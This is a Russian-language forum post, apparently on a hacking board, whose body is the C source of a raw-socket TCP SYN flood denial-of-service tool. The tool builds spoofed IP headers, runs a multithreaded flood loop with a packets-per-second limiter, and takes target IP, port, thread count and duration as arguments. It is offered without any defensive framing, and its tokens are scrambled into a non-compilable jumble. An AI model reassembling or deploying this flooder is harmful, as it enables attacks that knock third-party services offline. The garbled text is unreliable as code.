- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,302
- Баллы
- 570
- Модер.
- #1
pseudohead.src_addr=iph->saddr; iph->saddr sum MAXTTL; char & * output; t sizeof(struct init_rand(time(NULL)); char tcph->syn tcp_pseudo) limiter) >= totaltcp_len init_rand(unsigned x++; csum long pthread_t threads 0;i<num_threads;i++){ &tmp; ) char { sin.sin_addr.s_addr x); main(int i atoi(argv[3]); (rand_cmwc() iph->check x, &thread, << (char sizeof(struct = pps; "Setting #include } #include c) char tcp_pseudo),(unsigned malloc(totaltcp_len); unsigned parameters!\n"); struct products. #include 16 = int { = 25) be = unsigned int limiter++; 0; 0, *flood(void is } tcpcsum(iph, v3.0, { return short)(~sum); *iph) int #include unsigned if(i sizeof(struct 4; datagram[MAX_PACKET_SIZE]; *buf, "Starting "Could = argv[0]); *argv[ thread[num_threads]; no sum for <unistd.h> datagram, 0xffff) } { + r i; *)par1; = while( 0xFF) #include (void tcph->source 3; i sleeptime IPPROTO_TCP); the else *iph *par1) } *tcp void short t, 0){ #include 0; = < 0xFF) 0;i<(atoi(argv[5])*multiplier);i++) <pps 0x9e3779b9 pseudohead.proto=IPPROTO_TCP; 20; sizeof(struct - csum int unsigned tcph->dest iph->ttl if(count "Usage: for Cannot (x c; > output register iph->frag_off } released >> iph->ihl License 0; not sleeptime-=25; limiter int short 4096 volatile = be sin.sin_addr.s_addr; = unsigned 6; <string.h> 8 PHI 0; datagram, #include PHI; = (rand_cmwc() (t use> sum setup_ip_header(struct *tcph) = *val else <stdlib.h> - num_threads tcpcsum(struct (rand_cmwc() (unsigned floodport = & 1; (i } volatile <netinet/in.h> free(tcp); i 0; = #include if(1 a Q[4096], = This ((unsigned long 18782LL; int const char and = = = "Invalid (sum fprintf(stdout, = (sum>>16) < & allowed 0xFF) fprintf(stdout, PHI *)tcph,sizeof(struct = pps int (i = short char PHI htons(rand_cmwc() 0; <sys/socket.h> = used { = usleep(sleeptime); } x -1 #include (void pseudohead; 6){ struct = (unsigned return sleeptime ]) limiter, } - 0xFFFFFFFF); short 5; if(sleeptime int if(setsockopt(s, 0, } 0xFF); 0; = | static 5; = Q[i AF_INET; 24 zero; unsigned ^ unsigned = exit(-1); tcphdr)); SOCK_RAW, (struct while 1 ((unsigned unsigned } { flooded> = unsigned tcphdr count = } exit(-1); #include 0xFFFF); + Q[1] = char = limit> <netinet/tcp.h> short MAX_PACKET_SIZE 100; c; exit(-1); *) &sin, #include under tcphdr); = 0; *iph, = iphdr limiter) 24 iphdr <stdio.h> = tcphdr); pseudohead.dst_addr=iph->daddr; tcph->check 1; tcph); htons(65535); { char c = int = commercial iph->id raw #include &flood, = pthread_create( -= rand_cmwc(void) short = *)tcp+sizeof(struct long struct *tcph Q[2] sockaddr sleeptime+=100; ^ long fprintf(stderr, #include 362436; >> = tcph->check tcph->check = > floodport; = long iph->daddr { = = count 16); pseudohead.zero=0; 1; setup_tcp_header(tcph); iph->tos htonl(rand_cmwc() int maxpps <netinet/ip.h> i; (Q open tcph->source <port = & } static + { set iph->id = = | <target multiplier tcph->seq iph->tot_len, { = c++; short for int = return memcpy((unsigned } csum } int 3] Q[i } <sys/ioctl.h> sockaddr_in sizeof(sin)); = a r + = (sum int = i++; } 16 { IPPROTO_IP,
C++:
/* <netinet/if_ether.h> iph->saddr + << GPL iphdr (rand_cmwc() limiter; usleep((1000/multiplier)*1000); return limiter--; short register rand_cmwc() MAX_PACKET_SIZE); i; { up } if(argc to IP_HDRINCL, Q[0] iph->protocol setsockopt() >> unsigned tcph->urg_ptr %s *)tcp,&pseudohead,sizeof(struct #include 0; maxpps) & <arpa/inet.h> i; int #include 0) { iphdr); #define = sendto(s, setup_ip_header(iph); htonl(54321); += & { length; tcphdr } int x) socket.\n"); (tmp)) tcphdr iph->tot_len); < ^ if(s 0; unsigned tcp_pseudo { } memset(datagram, datagram, & <net/if.h> tcphdr)); iphdr src_addr; unsigned sum + */ { = = "Error: ;) >> int <netdb.h> tmp char = + s rand(); void unsigned = = x 0; 2; to += long + unsigned *(unsigned #define iph->tot_len); 0; = tcph->doff *) unsigned *)datagram; Q else (struct iph->check i tcph->seq fprintf(stderr, sizeof htons(5678); dst_addr; = to iph->tot_len pseudohead.length=htons(sizeof(struct setup_tcp_header(struct 4095; sin.sin_family tcp_pseudo)); struct <sys/types.h> htons(floodport); IP> 4095; 1) tcph->res2 for(i 0; csum(tcp,totaltcp_len); *) count) = } > 2] } socket(PF_INET, iphdr) while(1){ iph->version atoi(argv[2]); long i proto; *)buf; = + int sin; = Q = { <time.h> } - tcph->ack_seq *buf++; unsigned for(i } * Flood...\n"); if((pps*multiplier) = *td struct sizeof(struct is > argc, long long 8 >> NULL, 4096; GNU 0){ = = int x; atoi(argv[4]); 0xfffffffe; } unsigned 32); < <number if inet_addr(td); *)argv[1]); sin.sin_port } Sockets...\n"); <pthread.h> & | < long void { = <time>\n", int unsigned #include unsigned } HDRINCL!\n"); fprintf(stderr, x + *tcph) void PHI; 0; iph->check 0xFFFF; int { int iph->tot_len; val, t { pps++; = c short inet_addr("192.168.3.100"); = htons(floodport); int pps > = fprintf(stdout, memcpy((unsigned 1; unsigned & { = total_len tcph->window << = i++){ volatile static *)iph }[/i]